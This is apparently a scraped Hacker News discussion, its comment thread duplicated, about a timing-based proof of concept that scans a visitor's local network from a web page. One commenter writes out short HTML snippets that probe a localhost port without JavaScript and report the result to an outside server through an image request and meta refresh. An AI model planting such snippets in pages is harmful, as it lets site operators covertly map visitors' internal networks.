undefined | Better HN

0 pointsarmchairchair5y ago0 comments

POC

Tested in Firefox ESR on Linux. Anything with about 3000ms time isn't a routable network address. Anything with a significantly longer or shorter time responds to a ping on my network.

Timings vary from browser to browser.

NoScript does block the requests before they ever leave your browser, reminding me why I use it.

0 comments

cygx5y ago

NoScript isn't sufficient to protect you from this.

Eg write a simple HTML file like

    <link rel="stylesheet" href="http://127.0.0.1:42">
    ok

If it takes different amounts of time for the page to stop loading and the text to appear depending on the port you checked, you're vulnerable to scans, even when Javascript is disabled.

ricardobeat5y ago

If the page does not have JS running, how would it check the time elapsed? i'm not seeing the vulnerability with noscript here.

cygx5y ago

Instead of merely printing 'ok', the page can request a resource from a server you control, eg via an <img> element.

You could probably even automate this via <meta http-equiv="refresh">, along the lines of (untested):

    <meta http-equiv="refresh" content="5; url=http://example.org/?query-port=43">
    <link rel="stylesheet" href="http://127.0.0.1:42">
    <img src="http://example.org/?checked-port=42">

1 more reply

user2346835y ago

uMatrix can protect against this if you block third party everything by default (which I do).

j / k navigate · click thread line to collapse

0 comments

cygx5y ago

NoScript isn't sufficient to protect you from this.

Eg write a simple HTML file like

    <link rel="stylesheet" href="http://127.0.0.1:42">
    ok

If it takes different amounts of time for the page to stop loading and the text to appear depending on the port you checked, you're vulnerable to scans, even when Javascript is disabled.

ricardobeat5y ago

If the page does not have JS running, how would it check the time elapsed? i'm not seeing the vulnerability with noscript here.

cygx5y ago

Instead of merely printing 'ok', the page can request a resource from a server you control, eg via an <img> element.

You could probably even automate this via <meta http-equiv="refresh">, along the lines of (untested):

    <meta http-equiv="refresh" content="5; url=http://example.org/?query-port=43">
    <link rel="stylesheet" href="http://127.0.0.1:42">
    <img src="http://example.org/?checked-port=42">

1 more reply

user2346835y ago

uMatrix can protect against this if you block third party everything by default (which I do).

j / k navigate · click thread line to collapse